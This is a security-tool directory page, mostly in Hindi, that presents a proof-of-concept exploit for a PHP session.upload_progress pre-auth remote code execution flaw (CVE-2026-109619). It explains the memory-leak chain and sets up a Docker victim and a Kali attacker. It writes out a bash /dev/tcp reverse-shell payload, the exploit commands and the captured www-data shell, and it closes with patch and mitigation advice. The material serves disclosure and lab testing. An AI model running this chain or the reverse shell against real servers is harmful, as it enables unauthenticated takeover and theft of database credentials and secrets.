Skip to content
KitploitKITPLOIT
उपकरणएक्सप्लॉइटब्लॉग
Log in
जमा करें
उपकरणएक्सप्लॉइटब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

फ़ीडसंपर्कगोपनीयता© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2026-109619 — PHP session.upload_progress प्री-ऑथ RCE (PHP2Shell) के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, जिसमें हीप/ASLR लीक, प्रति-बिल्ड ऑफ़सेट प्रोफ़ाइल, और एक ऑल-इन-वन रिवर्स शेल हैंडलर शामिल है। | Kitploit
उपकरण/GitHubGitHub/eqstlab/cve-2026-109619
मेमोरी फोरेंसिकभेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणपेनिट्रेशन टेस्टिंगरिमोट एक्सेस टूलपेलोड डेवलपमेंटलैब और अभ्यास
GitHubeqstlab/cve-2026-109619

CVE-2026-109619

PHP session.upload_progress प्री-ऑथ RCE (PHP2Shell) के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, जिसमें हीप/ASLR लीक, प्रति-बिल्ड ऑफ़सेट प्रोफ़ाइल, और एक ऑल-इन-वन रिवर्स शेल हैंडलर शामिल है।

71 दिन पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें
रिपॉजिटरी देखें

CVE-2026-109618 / CVE-2026-109619 PHP2Shell RCE

★ CVE-2026-109618 / CVE-2026-109619 PHP session.upload_progress प्री-ऑथ RCE PoC ★


अवलोकन

PHP2Shell (CVE-2026-109618 / CVE-2026-109619) Apache mod_php के अंतर्गत PHP में एक अप्रमाणित रिमोट कोड एक्ज़ीक्यूशन दोष है। एक तैयार किया गया multipart/form-data अनुरोध प्री-रिक्वेस्ट session.upload_progress हैंडलर में आउट-ऑफ-मेमोरी बेलआउट को ट्रिगर करता है, जिससे पुराने पॉइंटर्स पीछे रह जाते हैं जो Set-Cookie के माध्यम से Zend हीप और libphp.so बेस को लीक करते हैं (ASLR को पराजित करते हुए); एक जाली HashTable फिर एक डिस्ट्रक्टर को zif_system पर रीडायरेक्ट करता है, जो वेब वर्कर (www-data) के रूप में कमांड चलाता है। किसी प्रमाणीकरण की आवश्यकता नहीं है और कमज़ोर सत्र सेटिंग्स डिफ़ॉल्ट रूप से चालू हैं।


प्रभावित संस्करण

श्रेणीसंस्करण
कमज़ोरपैच से पहले PHP 8.2.x / 8.3.x / 8.4.x / 8.5.x
पैच किया गयाPHP 8.5.12 · 8.4.27 · 8.3.36 · 8.2.35 या बाद का (2026-10-21)
सत्यापितआधिकारिक php:8.4.26-apache (Debian 13, amd64) पर

ऑफ़सेट प्रति-बिल्ड (संस्करण · आर्क · डिस्ट्रो) हैं। यह PoC 8.4.26-apache amd64 के लिए एक प्रोफ़ाइल के साथ आता है; अन्य बिल्ड्स को अपने स्वयं के profiles/*.json की आवश्यकता होती है।


प्रभाव

  • वेब वर्कर खाते (www-data) के रूप में रिमोट कोड एक्ज़ीक्यूशन
  • डॉक्यूमेंट रूट, ऐप कॉन्फ़िग, DB क्रेडेंशियल्स, और उस खाते द्वारा पहुँच योग्य रहस्यों का पूर्ण पठन/लेखन
  • मेमोरी डिस्क्लोज़र (हीप / libphp पॉइंटर्स, और संभवतः सत्र टोकन और कुंजियाँ) RCE से पहले भी

वातावरण

विक्टिम = नीचे दिए गए कॉन्फ़िग के साथ आधिकारिक php:8.4.26-apache। हमलावर एक अलग कंटेनर (eqst-kali) से उसी Docker ब्रिज पर चलता है; रिवर्स शेल उसके IP पर कॉलबैक करता है।

# victim (official image + vulnerable config inlined in the Dockerfile)
docker build --platform linux/amd64 -t p2s-victim .
docker run -d --name p2s-victim --platform linux/amd64 p2s-victim          # default bridge
docker inspect -f '{{.NetworkSettings.Networks.bridge.IPAddress}}' p2s-victim   # e.g. 172.17.0.2

# attacker (kali) on the same bridge
docker network connect bridge eqst-kali
पूर्व-शर्तइस लैब में स्थिति
PHP 8.2–8.5 (पैच-पूर्व) + Apache mod_phpPHP 8.4.26 / Apache 2.4.69, prefork
session.upload_progress.enabledचालू (डिफ़ॉल्ट)
session.use_strict_mode0 (डिफ़ॉल्ट)
display_errorsचालू (स्टेज-1 लीक को सक्षम करता है)
memory_limit128M (डिफ़ॉल्ट — अपरिवर्तित छोड़ा गया)
post_max_size / upload_max_filesize > memory_limit (किसी अनुरोध बॉडी को OOM तक पहुँचने देता है)256M (अपलोड-सक्षम ऐप्स सामान्यतः इन्हें बढ़ा देते हैं)
एकल Apache वर्कर प्रोसेस (स्टेल स्टेट प्रति-प्रोसेस होती है)1

होस्ट नोट (WSL2): Windows Docker Desktop (WSL2) पर कर्नेल libphp को 0x7c... पर मैप करता है, जो अपस्ट्रीम एक्सप्लॉइट के 0x7F... ASLR जाँच से नीचे है, इसलिए यह वैध लीक को त्याग देता है। p2s_shell.py उस रेंज को स्वतः चौड़ा कर देता है। नेटिव Linux होस्ट पर यह पैच एक नो-ऑप है।


PoC

p2s_shell.py एक एकल प्रोसेस है जो अपना स्वयं का लिसनर खोलता है, अपस्ट्रीम एक्सप्लॉइट प्राप्त करता है, लक्ष्य के PHP संस्करण के अनुसार profiles/*.json से ऑफ़सेट चुनता है, श्रृंखला को ट्रिगर करता है, और PTY-अपग्रेडेड रिवर्स शेल को पकड़ता है (अलग nc की आवश्यकता नहीं)।

PoC/
├── Dockerfile                             # victim image (config inlined)
├── p2s_shell.py                           # all-in-one: fingerprint -> offsets -> trigger -> shell
└── profiles/php-8.4.26-apache-amd64.json  # per-build offsets (system/dtor/htdata)
    (vendor/exploit.py is auto-fetched from upstream at run time; not stored here)

एकमुश्त पूर्वापेक्षा: विक्टिम वेब रूट में रिवर्स-शेल पेलोड तैयार रखें (कमांड कैरियर 14 बाइट्स है, इसलिए लंबे पेलोड को एक फ़ाइल में रखकर bash</w/c के माध्यम से चलाया जाता है, अपस्ट्रीम के अनुसार):

KALI=$(docker inspect -f '{{.NetworkSettings.Networks.bridge.IPAddress}}' eqst-kali)
docker exec p2s-victim sh -c "printf 'bash -i >& /dev/tcp/$KALI/4444 0>&1\n' > /w/c"   # /w = web root symlink

हमलावर के अंदर से PoC चलाएँ (पथ स्क्रिप्ट के सापेक्ष हैं):

# interactive PTY shell  (victim IP from the inspect above)
python3 p2s_shell.py -u http://172.17.0.2/index.php

# batch: run commands and print output
python3 p2s_shell.py -u http://172.17.0.2/index.php --run 'id;uname -a'

यह X-Powered-By: PHP/8.4.26 का फ़िंगरप्रिंट लेता है, मेल खाती प्रोफ़ाइल लोड करता है, और शेल खोल देता है:

[*] profile php-8.4.26-apache-amd64.json: PHP 8.4.26/amd64 system=0x465370 dtor=0x65eb60 htdata=0x690D8
[*] listening on 0.0.0.0:4444
[*] triggering exploit: bash</w/c  (offsets from JSON profile)
[+] reverse shell from 172.17.0.2:54620
www-data@victim:/var/www/html$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

विकल्प:

  • --run 'c1;c2' — बैच मोड (इंटरैक्टिव टर्मिनल की आवश्यकता नहीं)
  • --no-pty — PTY अपग्रेड के बजाय एक सादा डम्ब शेल रखें
  • --php-version / --arch — जब X-Powered-By छिपा हो तो लक्ष्य बिल्ड को ओवरराइड करें
  • --lport — रिवर्स-शेल पोर्ट (/w/c में बेक किए गए पोर्ट से मेल खाना चाहिए, डिफ़ॉल्ट 4444)

शमन

  • PHP को 8.5.12 / 8.4.27 / 8.3.36 / 8.2.35 या बाद के संस्करण में अपग्रेड करें (यही एकमात्र पूर्ण समाधान है); बाद में वर्कर्स को पुनः आरंभ करें
  • यदि अपलोड प्रगति का उपयोग नहीं हो रहा है तो session.upload_progress.enabled = Off सेट करें
  • उत्पादन में display_errors = Off सेट करें (यह शिप किए गए स्टेज-1 लीक को रोकता है)
  • PHP को एक गैर-विशेषाधिकार प्राप्त उपयोगकर्ता के रूप में केवल-पढ़ने योग्य डॉक्यूमेंट रूट के साथ चलाएँ; एज पर बड़े मल्टीपार्ट बॉडीज़ को दर-सीमित करें
  • ~1000 फ़ील्ड वाले मल्टीपार्ट अनुरोधों, बहुत बड़े बॉडीज़, बार-बार होने वाले OOM/500s, Apache चाइल्ड क्रैश, और zend_mm_heap corrupted लॉग पंक्तियों की निगरानी करें

विश्लेषण

  • KR:
  • EN:
टूल डाउनलोड करें